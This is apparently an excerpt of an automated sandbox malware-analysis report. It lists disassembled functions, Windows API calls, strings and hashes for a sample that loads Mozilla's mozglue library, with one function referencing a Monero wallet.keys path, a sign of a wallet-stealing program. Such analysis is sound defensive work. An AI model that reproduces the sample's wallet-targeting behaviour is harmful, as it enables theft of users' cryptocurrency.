Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: a3e3199e9ebb0f62c340418e7a30e52bf20c3992a509cee2adf337153f8808f6
Instruction ID: 74ac858338b1496a13546e62bfd5d10ffd1daa114e1d1a6d2b6e7c4442c4c327
Opcode Fuzzy Hash: a3e3199e9ebb0f62c340418e7a30e52bf20c3992a509cee2adf337153f8808f6
Instruction Fuzzy Hash: 7A011A75500108FFCB04DFECD988EAE7BB9EF49354F108548F9098B205CB35AA50DBA1

Function 6C690D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C653DEF), ref: 6C690D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C653DEF), ref: 6C690D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C653DEF), ref: 6C690DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C690D97, 6C690DBE
<jemalloc>, xrefs: 6C690D92, 6C690DB9

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction ID: 9eb333f3b368d62e8b1546ca32396374ec09f74a64d74f8d664fc73b983ace28
Opcode Fuzzy Hash: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction Fuzzy Hash: C2F02E3138039623E72016670C0AF6A269EA7C6B35F314035F744DE9C4DA90F80486AE

Function 6C67D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690

Strings

MOZ_CRASH(), xrefs: 6C67D4BB

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Enter$LeaveProcess$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 2611784164-2608361144
Opcode ID: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction ID: 72be7f876658cff6d62bdf5daf5ff4cfa071adc8b61d5b6b6fcdee3ae64f8576
Opcode Fuzzy Hash: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction Fuzzy Hash: E651A071A047018FD364CF29C49465AB7F1EF89704F558E2ED59AC7B84D770E840CB6A

Function 0007C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 0007C8EC
___crtLCMapStringA.LIBCMT ref: 0007C90C
___crtLCMapStringA.LIBCMT ref: 0007C931

Strings

, xrefs: 0007C896

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: e6c2172d1472c306a0b4181655c5afadf7fe7eb26ec21bd924dfe604efffb192
Instruction ID: 4e551cb23981b68f8d71e919f1da8ac2c334763dcda957e98e29abdcb1724432
Opcode Fuzzy Hash: e6c2172d1472c306a0b4181655c5afadf7fe7eb26ec21bd924dfe604efffb192
Instruction Fuzzy Hash: 6D41E8B190075C5EEB718B248C89FFB7BF99F45704F1484ECEA8E86182D2759A44CF68

Function 6C6AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6AB127), ref: 6C6AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C6AB4E4

Strings

pid:, xrefs: 6C6AB4DE

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction ID: 08c90ab0690d7f8403227b0f2834ab55f99ceeb46082f2b9e9c56eb2096e64bc
Opcode Fuzzy Hash: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction Fuzzy Hash: E431E031A0120C9FDB00DFEAD880AEEB7B5FF85318F540529D81267A45D732AD46CBA9

Function 00076630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00076663

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

ShellExecuteEx.SHELL32(0000003C), ref: 00076726
ExitProcess.KERNEL32 ref: 00076755

Strings

<, xrefs: 000766D9

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 3adec0b5374337bde8baebf5fda0963150ec62921280216801d1ecb28c4f9fb3
Instruction ID: a17b6f42461b860d3eca1bcefa546d05c5483038dea27b466072ba607c1abd34
Opcode Fuzzy Hash: 3adec0b5374337bde8baebf5fda0963150ec62921280216801d1ecb28c4f9fb3
Instruction Fuzzy Hash: 883141B1D01218ABDB54EB50DC95FDEB778AF44300F408199F31A66192DF786B48CF6A

Function 000787C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00080E28,00000000,?), ref: 0007882F
RtlAllocateHeap.NTDLL(00000000), ref: 00078836
wsprintfA.USER32 ref: 00078850

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Strings

%dx%d, xrefs: 00078847

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: e94434e58affbf571c910ef42dd474bdd480febeefd3f4aa3b8ad5e40297fdbb
Instruction ID: 0f2cf4ba5de0b2c3b2f806290b087189c1e13a8ee3641777c01e0a3622012b81
Opcode Fuzzy Hash: e94434e58affbf571c910ef42dd474bdd480febeefd3f4aa3b8ad5e40297fdbb
Instruction Fuzzy Hash: F1212EB1A40204AFDB04DF94ED49FAEBBB8FF49B01F104119F605A7280CB799900CBA5

Function 6C69E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69E577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E584
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C69E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C69E826, 6C69E850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C69E722, 6C69E750, 6C69E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C69E655
MOZ_PROFILER_STARTUP, xrefs: 6C69E5A1, 6C69E5CC, 6C69E5FF, 6C69E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C69E777

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction ID: 8c3d27a3f7cef48c4ed5c2157a3c3fed9863bba23175123dc71420e2c82529b7
Opcode Fuzzy Hash: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction Fuzzy Hash: 4111AD31A04258DFCB009F16C888B6ABBB4FFC9329F050A19E84587651D774B805CFDE

Function 00078D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0007951E,00000000), ref: 00078D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00078D62
wsprintfW.USER32 ref: 00078D78

Strings

%hs, xrefs: 00078D6F

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: eede0d72dbec893f87d69c88afd69768e91ef34ec7253108de2f9c7dbf91e4bf
Instruction ID: c3ef5e1a1ca5f67b8c07059af4842de6a34a847bc29f38d2464ba48b7fb8ff5a
Opcode Fuzzy Hash: eede0d72dbec893f87d69c88afd69768e91ef34ec7253108de2f9c7dbf91e4bf
Instruction Fuzzy Hash: B4E046B0A40208BFD700DF94EC0EA69B7A8EB05702F000094FA0986280DE759A008B92

Function 6C6A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0CD5

Part of subcall function 6C68F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C68F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0D40
free.MOZGLUE ref: 6C6A0DCB

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

free.MOZGLUE ref: 6C6A0DDD
free.MOZGLUE ref: 6C6A0DF2

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction ID: 0744bd5b5f7c2c126cec454ca987b28fa44c9ec751ffde8c5b25c6819782081d
Opcode Fuzzy Hash: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction Fuzzy Hash: 154139719087809BD320DF29C08079AFBE5BFC9714F118A2EE9D987750D770A846CB9B

Function 6C6ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDA4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD158
Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDC4

Part of subcall function 6C6A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C6B15FC,?,?,?,?,6C6B15FC,?), ref: 6C6A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACECC

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

